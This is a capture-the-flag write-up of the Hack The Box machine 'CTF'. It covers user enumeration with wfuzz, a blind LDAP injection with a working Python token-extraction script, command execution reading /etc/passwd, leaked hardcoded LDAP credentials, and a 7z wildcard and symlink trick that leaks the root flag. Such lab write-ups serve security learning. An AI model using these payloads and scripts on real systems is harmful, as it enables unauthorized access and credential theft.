Hack The Box - CTF

Quick Summary

Hey guys today CTF retired and here’s my write-up about it. CTF was a very cool box, it had an ldap injection vulnerability which I have never seen on another box before, and the way of exploiting that vulnerability to gain access was great. A really unique box, I had fun solving it and I hope you have fun too reading my write-up. It’s a Linux box and its ip is 10.10.10.122 , I added it to /etc/hosts as ctf.htb . Let’s jump right in !



Nmap

As always we will start with nmap to scan for open ports and services :

nmap -sV -sT -sC ctf.htb



Only http on port 80 and ssh on port 22

HTTP Initial Enumeration

http://ctf.htb



It’s pretty straightforward that we will get banned for 5 minutes if we tried to bruteforce anything, like sub directories for example. It’s also saying that they handle authentication with tokens, There’s a login page so let’s take a look at it.



We need a username and an OTP (one-time password). An OTP is time limited which means that even if we could get a valid one it will give us access only once because it expires in a short time (usually 60 seconds). So we need to gain access to a place that generates valid OTP s or to be able to generate valid OTP s ourselves. Let’s take a look at the source code of the login page, maybe something is there :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68



< html lang = "en" >

< head >

< meta charset = "utf-8" >

< meta name = "viewport" content = "width=device-width, initial-scale=1, shrink-to-fit=no" >

< meta name = "description" content = "" >

< meta name = "author" content = "" >

< link rel = "icon" href = "/favicon.ico" >



< title > CTF login form </ title >





< link href = "/dist/css/bootstrap.min.css" rel = "stylesheet" >





< link href = "cover.css" rel = "stylesheet" >

</ head >



< body class = "" >

< div class = "cover-container d-flex w-100 h-100 p-3 mx-auto flex-column" >

< header class = "masthead mb-auto" >

< div class = "inner" >

< h3 class = "masthead-brand" > CTF </ h3 >

< nav class = "nav nav-masthead justify-content-center" >

< a class = "nav-link active" href = "/" > Home </ a >

< a class = "nav-link active" href = "login.php" > Login </ a >

</ nav >

</ div >

</ header >



< form action = "/login.php" method = "post" >

< div class = "form-group row" >

< div class = "col-sm-10" >

</ div >

</ div >

< div class = "form-group row" >

< label for = "inputUsername" class = "col-sm-2 col-form-label" > Username </ label >

< div class = "col-sm-10" >

< input type = "text" class = "form-control" id = "inputUsename" name = "inputUsername" placeholder = "Username" >

</ div >

</ div >

< div class = "form-group row" >

< label for = "inputOTP" class = "col-sm-2 col-form-label" > OTP </ label >

< div class = "col-sm-10" >

< input type = "OTP" class = "form-control" id = "inputOTP" name = "inputOTP" placeholder = "One Time Password" >





</ div >

</ div >

< div class = "form-group row" >

< div class = "col-sm-10" >

< button type = "submit" class = "btn btn-primary name=" submit " value = "Login" > Login </ button >

</ div >

</ div >

</ form >

< footer class = "mastfoot mt-auto text-center" >

< div class = "inner" >

< p > < a href = "/" > CTF </ a > by < a href = "https://www.hackthebox.eu/home/users/profile/13340" target = "_blank" > 0xEA31 </ a > . Cover template for < a href = "https://getbootstrap.com/" > Bootstrap </ a > , by < a href = "https://twitter.com/mdo" > @mdo </ a > . </ p > </ div >

</ footer >

</ div >









< script src = "https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity = "sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin = "anonymous" > </ script >

< script src = "/dist/js/bootstrap.min.js" > </ script >

</ body >

</ html >



These comments look interesting :

1

2







So now we know that they are using a token to generate the OTP s, we also know that the length of the token is 81 digits. But I still couldn’t figure out that part about the attribute they’re using to store the token. I decided to bruteforce the username then return to the OTP thing again.

I know what you’re thinking, how will I bruteforce the username without getting banned ? Well I tried to pass any credentials to see how will the application respond :





Here I noticed 2 things. First thing is that it’s actually telling us if the user exists or not, which means that we can enumerate users. The other thing is that it responded normally with a 200 OK response, so If the server identifies a bruteforce attack by monitoring how many times an ip causes errors like 404 for example, as long as we are not causing errors we won’t get banned. I gave it a try to see if it will actually work. I used wfuzz and multiplesources-users-fabian-fingerle.de.txt from seclists :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

root@kali:~/Desktop/HTB/boxes/ctf# wfuzz -c -u http://ctf.htb/login.php -X POST -d "inputUsername=FUZZ&inputOTP=0000" -w ./multiplesources-users-fabian-fingerle.de.txt



Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.



********************************************************

* Wfuzz 2.3.4 - The Web Fuzzer *

********************************************************



Target: http://ctf.htb/login.php

Total requests: 21168



==================================================================

ID Response Lines Word Chars Payload

==================================================================



000007: C=200 68 L 229 W 2810 Ch "!@#%^&*("

000008: C=200 68 L 229 W 2810 Ch "!@#%^&*()"

000010: C=200 68 L 229 W 2810 Ch "*****"

000002: C=200 68 L 229 W 2810 Ch "!@#"

000003: C=200 68 L 229 W 2810 Ch "!@#%"

000004: C=200 68 L 229 W 2810 Ch "!@#%^"

000005: C=200 68 L 229 W 2810 Ch "!@#%^&"

000009: C=200 68 L 233 W 2827 Ch """"

000006: C=200 68 L 229 W 2810 Ch "!@#%^&*"

000001: C=200 68 L 233 W 2826 Ch "-"

000011: C=200 68 L 233 W 2826 Ch "0"

000012: C=200 68 L 233 W 2827 Ch "00"

000021: C=200 68 L 233 W 2835 Ch "0123456789"

000015: C=200 68 L 233 W 2833 Ch "00000000"

000016: C=200 68 L 233 W 2827 Ch "01"

^C

Finishing pending requests...



All “user not found” responses have 233 words so I filtered them :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

root@kali:~/Desktop/HTB/boxes/ctf# wfuzz -c --hw 233 -u http://ctf.htb/login.php -X POST -d "inputUsername=FUZZ&inputOTP=0000" -w ./multiplesources-users-fabian-fingerle.de.txt



Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.



********************************************************

* Wfuzz 2.3.4 - The Web Fuzzer *

********************************************************



Target: http://ctf.htb/login.php

Total requests: 21168



==================================================================

ID Response Lines Word Chars Payload

==================================================================



000006: C=200 68 L 229 W 2810 Ch "!@#%^&*"

000003: C=200 68 L 229 W 2810 Ch "!@#%"

000004: C=200 68 L 229 W 2810 Ch "!@#%^"

000005: C=200 68 L 229 W 2810 Ch "!@#%^&"

000007: C=200 68 L 229 W 2810 Ch "!@#%^&*("

000008: C=200 68 L 229 W 2810 Ch "!@#%^&*()"

000002: C=200 68 L 229 W 2810 Ch "!@#"

000010: C=200 68 L 229 W 2810 Ch "*****"

000065: C=200 68 L 229 W 2810 Ch "123456*a"

005121: C=200 68 L 229 W 2810 Ch "Ch4ng3m3!"

005723: C=200 68 L 229 W 2810 Ch "*%Cookie:"

009377: C=200 68 L 229 W 2810 Ch "!!Huawei"

011497: C=200 68 L 231 W 2822 Ch "ldapuser"

011866: C=200 68 L 234 W 2835 Ch "lost+found"

012611: C=200 68 L 233 W 2831 Ch "maurta"^C

Finishing pending requests...



It worked and I didn’t get banned, after some time I got a result which was ldapuser , that’s weird. I also noticed that payloads that had special characters in them caused different response length. I tried ldapuser to see what’s the other message :





It was “Cannot login”

Then I tried !@#%^&* and I got nothing, I just got the login page back again without any messages. I figured out that the username is being used in an ldap query, and it’s injectable (because of the special chars payloads). Also that existing attribute where the token is stored is an ldap attribute. With the injection we have we can extract the token and use it to generate valid OTP s. But because the injection is blind it will be kinda tricky to extract the token.

LDAP Injection

As I said, it’s a blind injection which means that we won’t get any results. But a payload like this : *)(uid=*))(|(uid=* should result in “Cannot login”. However when I tried it I didn’t get any message, So I tried to URL encode the payload and it worked. So the injection works when the payload is double URL encoded (I only encoded the payload once because the browser automatically encodes POST data). I switched to burp, here are the results :

Request :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

POST /login.php HTTP/1.1

Host : ctf.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Referer : http://ctf.htb/login.php

Content-Type : application/x-www-form-urlencoded

Content-Length : 190

Cookie : PHPSESSID=sqmpanb3d1uui0pf4uafubv010

Connection : close

Upgrade-Insecure-Requests : 1



inputUsername=%25%32%61%25%32%39%25%32%38%25%37%35%25%36%39%25%36%34%25%33%64%25%32%61%25%32%39%25%32%39%25%32%38%25%37%63%25%32%38%25%37%35%25%36%39%25%36%34%25%33%64%25%32%61&inputOTP=0000



Response :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

HTTP/1.1 200 OK

Date : Fri, 19 Jul 2019 17:58:29 GMT

Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16

X-Powered-By : PHP/5.4.16

Expires : Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control : no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma : no-cache

Content-Length : 2822

Connection : close

Content-Type : text/html; charset=UTF-8



<!doctype html>

<html lang="en">

---------

Removed

---------

<div class="col-sm-10">

Cannot login </div>

</div>

---------

Removed

---------



Now we need to know which attribute the token is stored in. We know it’s an existing attribute so we just need to choose the right one. I checked ldap attributes and chose some of them to test ( comment , pager and info ), the payload will be like this : *)(uid=*))(|(ATTRIBUTE=* (instead of the second uid attribute we will use the attribute we are testing). We also know that the token is numeric so we can remove * and replace it with numeric values from 0 to 9 and monitor the responses (I used burp intruder to do this). So the final payload will be like this : *)(uid=*))(|(ATTRIBUTE=N . After some testing this payload with the attribute pager and value of 2 : *)(uid=*))(|(pager=2 resulted in “Cannot login” message. Great so our payload will be *)(uid=*))(|(pager=2N and we will bruteforce the second number again until we get “Cannot login”. We will keep repeating this until we reach the 81st number, but doing this manually is lame and boring so I wrote a python script.

Exploitation, Token Extraction

I created 3 functions :

send_payload (to send the injection payload and receive the response)

(to send the injection payload and receive the response) check_response (to check whether the response contains “Cannot login” or not)

(to check whether the response contains “Cannot login” or not) exploit : This function creates a list of numbers from 0 to 9, then by looping through that list it creates the payload which is : %2A%29%28uid%3D%2A%29%29%28%7C%28pager%3D + token + number + %2A (encoded only once because python requests automatically encodes POST data). Then it calls send_payload and check_response , if check_response returned True it adds the valid number to the token.

Then I wrote a while loop to keep calling exploit() as long as len(token) is not 81

extract_token.py :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37



import requests

import sys



YELLOW = "\033[93m"

GREEN = "\033[32m"



def send_payload (payload) :

post_data = { "inputUsername" :payload, "inputOTP" : "0000" }

req = requests.post( "http://10.10.10.122/login.php" ,data=post_data)

response = req.text

return response



def check_response (response) :

if "Cannot login" in response:

return True

else :

return False



def exploit () :

global token

n_list = [n for n in range( 10 )]

for i in n_list:

payload = "%2A%29%28uid%3D%2A%29%29%28%7C%28pager%3D{}{}%2A" .format(token,str(i))

response = send_payload(payload)

if check_response(response):

token+=str(i)



token = ""

print(YELLOW + "[*] Extracting Token" )

while len(token) != 81 :

exploit()

sys.stdout.write( "\r" + YELLOW + "[*] Status : " + token)

sys.stdout.flush()

else :

print(GREEN + "

[!] Done !" )

print(GREEN + "[*] Token : " + token)





It took some minutes to finish and now we have the token :



1

285449490011357156531651545652335570713167411445727140604172141456711102716717000



I installed stoken ( apt-get install stoken ), Then I imported the token :

1

stoken import --token 285449490011357156531651545652335570713167411445727140604172141456711102716717000





I didn’t type any password I left it blank. We can either use the cli or the gui , for the cli you have to start stoken and enter the pin then you will get the OTP , and for another OTP you’ll need to start stoken again.



So I just used the gui as it’s better :



RCE, User Flag

Let’s login and see what’s there :



%2a%29%28uid%3d%2a%29%29%28%7c%28uid%3d%2a is *)(uid=*))(|(uid=* url-encoded.

It redirected me to /page.php which I can use to execute commands :



I tried whoami and it worked fine:



I switched to burp to make things easier, I wanted to read /etc/passwd to know the users :

Request :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

POST /page.php HTTP/1.1

Host : ctf.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Referer : http://ctf.htb/page.php

Content-Type : application/x-www-form-urlencoded

Content-Length : 42

Cookie : PHPSESSID=jj0dlekfhl2pggbo50bg4dkeu0

Connection : close

Upgrade-Insecure-Requests : 1



inputCmd=cat /etc/passwd&inputOTP=52447058



Response :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

HTTP/1.1 200 OK

Date : Fri, 19 Jul 2019 21:58:13 GMT

Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16

X-Powered-By : PHP/5.4.16

Expires : Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control : no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma : no-cache

Content-Length : 4005

Connection : close

Content-Type : text/html; charset=UTF-8



<!doctype html>

<html lang="en">

<head>

----------------

Removed Output

----------------

<pre>root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

polkitd:x:999:998:User for polkitd:/:/sbin/nologin

apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin

libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin

abrt:x:173:173::/etc/abrt:/sbin/nologin

rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

postfix:x:89:89::/var/spool/postfix:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

chrony:x:997:995::/var/lib/chrony:/sbin/nologin

tcpdump:x:72:72::/:/sbin/nologin

ldap:x:55:55:OpenLDAP server:/var/lib/ldap:/sbin/nologin

saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin

ldapuser:x:1000:1000::/home/ldapuser:/bin/bash

</pre>

----------------

Removed Output

----------------



We can see that ldapuser is an actual user on the box, I tried to get a reverse shell but for some reason I couldn’t get a reverse shell at all so I started to look in the web files. I was already in the web directory :

1

2

3

inputCmd=pwd&inputOTP=14546713



/var/www/html



I listed the files :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

inputCmd=ls -la&inputOTP=14546713



total 36

drwxr-xr-x. 6 root root 176 Oct 23 2018 .

drwxr-xr-x. 4 root root 33 Jun 27 2018 ..

-rw-r--r--. 1 root root 0 Jul 20 00:03 banned.txt

-rw-r-----. 1 root apache 1424 Oct 23 2018 cover.css

drwxr-x--x. 2 root apache 4096 Oct 23 2018 css

drwxr-x--x. 4 root apache 27 Oct 23 2018 dist

-rw-r-----. 1 root apache 2592 Oct 23 2018 index.html

drwxr-x--x. 2 root apache 242 Oct 23 2018 js

-rw-r-----. 1 root apache 5021 Oct 23 2018 login.php

-rw-r-----. 1 root apache 68 Oct 23 2018 logout.php

-rw-r-----. 1 root apache 5245 Oct 23 2018 page.php

-rw-r-----. 1 root apache 2324 Oct 23 2018 status.php

drwxr-x--x. 2 apache apache 6 Oct 23 2018 uploads



I started looking for any hardcoded credentials in the php files, in login.php I found credentials for ldapuser :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

inputCmd=cat login.php&inputOTP= 04181897





session_start();

$strErrorMsg= "" ;



$username = 'ldapuser' ;

$password = 'e398e27d5c4ad45086fe431120932a01' ;



$basedn = 'dc=ctf,dc=htb' ;

$usersdn = 'cn=users' ;







$ldaphost = "ldap://ctf.htb" ;

$ldapUsername = "cn=$username" ;



$ds = ldap_connect($ldaphost);

$dn = "uid=ldapuser,ou=People,dc=ctf,dc=htb" ;



if (! empty ($_POST))

{



$username1 = $_POST[ 'inputUsername' ];

$OPT1 = $_POST[ 'inputOTP' ];



$regex= '/[()*&|!=><~]/' ;



if (!preg_match($regex, $username1)) {

$username2 = urldecode($username1);



if (!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3 )){

print "Could not set LDAPv3\r

" ;

}

else if (!ldap_start_tls($ds)) {

print "Could not start secure TLS connection" ;

}

else {



$bth = ldap_bind($ds, $dn, $password) or die ( "\r

Could not connect to LDAP server\r

" );



$filter = "(&(objectClass=inetOrgPerson)(uid=$username2))" ;



$filter = "(&(&(objectClass=inetOrgPerson)(uid=$username2))(pager=*))" ;



if ($search=@ldap_search($ds, $basedn, $filter)) {

$info = ldap_get_entries($ds, $search);



if ($info[ "count" ] > 0 ) {

$token_string = $info[ 0 ][ 'pager' ][ 0 ];



$token = exec( "/usr/bin/stoken --token=$token_string --pin=0000" );

if ($token == $OPT1) {

$strErrorMsg = "Login ok" ;

$_SESSION[ 'username' ] = $username1;

header ( 'Location: /page.php' );

}

else {

$strErrorMsg = "Cannot login" ;

}

}

else {

$strErrorMsg = "User $username1 not found" ;

}

}

}

}

}





ldapuser : e398e27d5c4ad45086fe431120932a01

ssh :



We owned user.

7z List Files and Wildcards, Root Flag

Before enumerating anything I just checked the directories and stuff like that, in / I saw a directory called backup

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

[ldapuser@ctf /]$ ls -al

total 32

dr-xr-xr-x. 18 root root 238 Jul 31 2018 .

dr-xr-xr-x. 18 root root 238 Jul 31 2018 ..

drwxr-xr-x. 2 root root 4096 Jul 20 00:07 backup

lrwxrwxrwx. 1 root root 7 Jul 30 2018 bin -> usr/bin

dr-xr-xr-x. 5 root root 4096 Oct 16 2018 boot

drwxr-xr-x. 20 root root 3180 Jul 19 23:34 dev

drwxr-xr-x. 90 root root 8192 Dec 9 2018 etc

drwxr-xr-x. 3 root root 22 Jul 30 2018 home

lrwxrwxrwx. 1 root root 7 Jul 30 2018 lib -> usr/lib

lrwxrwxrwx. 1 root root 9 Jul 30 2018 lib64 -> usr/lib64

drwxr-xr-x. 2 root root 6 Apr 11 2018 media

drwxr-xr-x. 2 root root 6 Apr 11 2018 mnt

drwxr-xr-x. 3 root root 16 Jul 30 2018 opt

dr-xr-xr-x. 119 root root 0 Jul 19 23:33 proc

dr-xr-x---. 7 root root 4096 Dec 9 2018 root

drwxr-xr-x. 31 root root 920 Jul 19 23:34 run

lrwxrwxrwx. 1 root root 8 Jul 30 2018 sbin -> usr/sbin

drwxr-xr-x. 2 root root 6 Apr 11 2018 srv

dr-xr-xr-x. 13 root root 0 Jul 19 23:34 sys

drwxrwxrwt. 10 root root 4096 Jul 20 00:06 tmp

drwxr-xr-x. 13 root root 155 Jul 30 2018 usr

drwxr-xr-x. 21 root root 4096 Jul 30 2018 var

[ldapuser@ctf /]$



It had a lot of archives, an error log and a script called honeypot.sh :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

[ldapuser@ctf backup]$ ls -al

total 52

drwxr-xr-x. 2 root root 4096 Jul 20 00:07 .

dr-xr-xr-x. 18 root root 238 Jul 31 2018 ..

-rw-r--r--. 1 root root 32 Jul 19 23:57 backup.1563573421.zip

-rw-r--r--. 1 root root 32 Jul 19 23:58 backup.1563573481.zip

-rw-r--r--. 1 root root 32 Jul 19 23:59 backup.1563573541.zip

-rw-r--r--. 1 root root 32 Jul 20 00:00 backup.1563573602.zip

-rw-r--r--. 1 root root 32 Jul 20 00:01 backup.1563573661.zip

-rw-r--r--. 1 root root 32 Jul 20 00:02 backup.1563573721.zip

-rw-r--r--. 1 root root 32 Jul 20 00:03 backup.1563573781.zip

-rw-r--r--. 1 root root 32 Jul 20 00:04 backup.1563573841.zip

-rw-r--r--. 1 root root 32 Jul 20 00:05 backup.1563573901.zip

-rw-r--r--. 1 root root 32 Jul 20 00:06 backup.1563573961.zip

-rw-r--r--. 1 root root 32 Jul 20 00:07 backup.1563574022.zip

-rw-r--r--. 1 root root 0 Jul 20 00:07 error.log

-rwxr--r--. 1 root root 975 Oct 23 2018 honeypot.sh

[ldapuser@ctf backup]$



honeypot.sh :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

[ldapuser@ctf backup]$ cat honeypot.sh





/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt







now=$(date + "%s" )

filename= "backup. $now "

pass=$(openssl passwd -1 -salt 0xEA31 - in /root/root.txt | md5sum | awk '{print $1}' )





cd /backup

ls -1t *.zip | tail -n +11 | xargs rm -f





cd /var/www/html/uploads

7za a /backup/ $filename .zip -t7z -snl -p $pass -- *





rm -rf -- *





truncate -s 0 /backup/error.log

[ldapuser@ctf backup]$



Obviously this script runs from time to time to backup files, also it’s running as root. I didn’t check cronjobs or use pspy , it was obvious since it’s accessing /root/root.txt to create the password and only root can access that.

Basically one of the things that this script is doing is that it’s backing up all the files in /var/www/html/uploads by using 7za to put all the uploads in one archive. Let’s look at the command again :

7za a /backup/$filename.zip -t7z -snl -p$pass -- *

It’s using the wildcard asterisk ( * ) to get all files. This means that if we can write to /var/www/html/uploads our file will be included in the command. If we can create a malicious file name then we can somehow manipulate the 7za command.

It’s also using this option : -snl , I checked the manual page for 7za :

1

-snl Store symbolic links as links



Note that we can’t unzip the created backups, so even if we created a symlink to root.txt in /var/www/html/uploads we won’t be able to read it because the archive is password protected. The only way to actually get anything is through the error log, we need to cause an error that somehow leaks the flag.

After searching for some time I found this page which talks about a feature in 7z called list files. I thought if I created 2 files, root.txt and @root.txt , root.txt is a symlink to /root/root.txt , when the command is executed and gets to @root.txt it will treat that as a list file option then it will search for root.txt to use it as a list file. However that file isn’t a real list file (that may cause an error), also it’s a symlink to /root/root.txt .

I went to /var/www/html/uploads and I didn’t even have read access.

1

2

3

4

[ldapuser@ctf backup]$ cd /var/www/html/uploads/

[ldapuser@ctf uploads]$ ls -al

ls: cannot open directory .: Permission denied

[ldapuser@ctf uploads]$



so I went back to the RCE requests in burp and tried as apache .

I created a symlink to /root/root.txt as root.txt :

1

inputCmd=ln -s /root/root.txt uploads/root.txt&inputOTP=91913130



Then I created an empty file and called it @root.txt :

1

inputCmd=touch uploads/@root.txt&inputOTP=91913130



Let’s check the directory listing now :

1

2

3

4

5

6

7

inputCmd=ls -la uploads&inputOTP=91913130



total 0

drwxr-x--x. 2 apache apache 39 Jul 20 01:12 .

drwxr-xr-x. 6 root root 176 Oct 23 2018 ..

-rw-r--r--. 1 apache apache 0 Jul 20 01:12 @root.txt

lrwxrwxrwx. 1 apache apache 14 Jul 20 01:12 root.txt -> /root/root.txt



Everything is fine let’s check the error log :



And we owned root !

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Friendzone

Next Hack The Box write-up : Hack The Box - LaCasaDePapel